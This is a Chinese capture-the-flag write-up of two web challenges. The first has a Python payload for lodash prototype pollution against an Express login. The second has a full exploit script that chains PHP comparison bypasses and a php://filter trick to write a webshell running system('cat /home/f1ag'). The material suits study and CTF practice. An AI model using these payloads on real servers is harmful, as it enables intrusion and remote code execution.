[安洵杯 2020]Validator 扫描目录发现两个文件:app.js与package.json
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 const express = require ('express' )const express_static = require ('express-static' )const fs = require ('fs' )const path = require ('path' )const app = express ()const port = 9000 app.use (express.json ()) app.use (express.urlencoded ({ extended : true })) let info = []const { body, validationResult } = require ('express-validator' ) middlewares = [ body ('*' ).trim (), body ('password' ).isLength ({ min : 6 }), ] app.use (middlewares) readFile = function (filename ) { var data = fs.readFileSync (filename) return data.toString () } app.post ("/login" , (req, res ) => { console .log (req.body ) const errors = validationResult (req); if (!errors.isEmpty ()) { return res.status (400 ).json ({ errors : errors.array () }); } if (req.body .password == "D0g3_Yes!!!" ){ console .log (info.system_open ) if (info.system_open == "yes" ){ const flag = readFile ("/flag" ) return res.status (200 ).send (flag) }else { return res.status (400 ).send ("The login is successful, but the system is under test and not open..." ) } }else { return res.status (400 ).send ("Login Fail, Password Wrong!" ) } }) app.get ("/" , (req, res ) => { const login_html = readFile (path.join (__dirname, "login.html" )) return res.status (200 ).send (login_html) }) app.use (express_static ("./" )) app.listen (port, () => { console .log (`server listening on ${port} ` ) })
package.json可以获得以下信息
1 2 3 4 5 express "^4.17.1" express-static "^1.2.6" express-validator "^6.6.0" fs "0.0.1-security" lodash "^4.17.16"(lodash在4.17.17以下存在原型链污染漏洞)
先看一下最终的payload
1 2 3 4 5 6 7 8 import requests as reqtarget = 'http://node4.anna.nssctf.cn:28203/login' data = { 'password' : "D0g3_Yes!!!" , "a" : {"__proto__" : {"system_open" : "yes" }}, "a\"].__proto__[\"system_open" : "no" } res = req.post(url=target, json=data) print (res.text)
官方wp
太难了,暂时先不理解原理
[NSSRound#7 Team]0o0 啥都没
首先扫描目录,发现了一个文件/.DS_Store(以前从来不知道这个文件还可以利用)
下载下来
1 wget http://node3.anna.nssctf.cn:28806/.DS_Store
这个是个隐藏文件,必须使用ls -al才能查看
尝试使用vim -r恢复文件
1 2 3 4 5 vim -r 是一种用于恢复 Vim 编辑器会话的命令。当 Vim 编辑器意外退出或者计算机系统崩溃时,可能会导致正在编辑的文件未保存。在这种情况下,可以使用 vim -r 命令来恢复上一次会话,以便继续编辑未保存的文件。 具体来说,vim -r 命令会在 Vim 编辑器启动时检查当前目录下是否存在恢复文件,如果存在,则会提示用户是否要恢复上一次会话。如果用户选择恢复,则 Vim 编辑器会打开所有未保存的文件,并自动恢复上一次的编辑状态。 需要注意的是,恢复文件的命名规则是以点号开头
没有成功
接着cat这个文件
发现了一个php文件
访问一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php error_reporting (0 );highlight_file (__FILE__ );$NSSCTF = $_GET ['NSSCTF' ] ?: '' ;$NsSCTF = $_GET ['NsSCTF' ] ?: '' ;$NsScTF = $_GET ['NsScTF' ] ?: '' ;$NsScTf = $_GET ['NsScTf' ] ?: '' ;$NSScTf = $_GET ['NSScTf' ] ?: '' ;$nSScTF = $_GET ['nSScTF' ] ?: '' ;$nSscTF = $_GET ['nSscTF' ] ?: '' ;if ($NSSCTF != $NsSCTF && sha1 ($NSSCTF ) === sha1 ($NsSCTF )) { if (!is_numeric ($NsScTF ) && in_array ($NsScTF , array (1 ))) { if (file_get_contents ($NsScTf ) === "Welcome to Round7!!!" ) { if (isset ($_GET ['nss_ctfer.vip' ])) { if ($NSScTf != 114514 && intval ($NSScTf , 0 ) === 114514 ) { $nss = is_numeric ($nSScTF ) and is_numeric ($nSscTF ) !== "NSSRound7" ; if ($nss && $nSscTF === "NSSRound7" ) { if (isset ($_POST ['submit' ])) { $file_name = urldecode ($_FILES ['file' ]['name' ]); $path = $_FILES ['file' ]['tmp_name' ]; if (strpos ($file_name , ".png" ) == false ){ die ("NoO0P00oO0! Png! pNg! pnG!" ); } $content = file_get_contents ($path ); $real_content = '<?php die("Round7 do you like");' . $content . '?>' ; $real_name = fopen ($file_name , "w" ); fwrite ($real_name , $real_content ); fclose ($real_name ); echo "OoO0o0hhh." ; } else { die ("NoO0oO0oO0!" ); } } else { die ("N0o0o0oO0o!" ); } } else { die ("NoOo00O0o0!" ); } } else { die ("Noo0oO0oOo!" ); } } else { die ("NO0o0oO0oO!" ); } } else { die ("No0o0o000O!" ); } } else { die ("NO0o0o0o0o!" ); } NO0o0o0o0o!
单走一个6
疯狂绕过即可,最后是死亡exit的绕过,利用base64编码,再利用伪协议解码绕过即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsfrom base64 import b64encodeimport re def get_flag (URL ): url = f"{URL} /Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7" data = {'submit' :1 } payload = str (b64encode(b"<?php system('cat /home/f1ag');?>" )) payload = re.findall(r"b'(.*?)'" ,payload)[0 ] file1 = {'file' : ('1.png.php' , f"" )} file2 = {'file' : ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%6e%67%2e%70%68%70' , f"aaa{payload} " )} requests.post(url,data=data,files=file1) requests.post(url,files=file2,data=data) nssctf_text3 = requests.post(f'{URL} /1.png.php' ).text print (nssctf_text3) if __name__ == "__main__" : get_flag("http://node3.anna.nssctf.cn:28806" )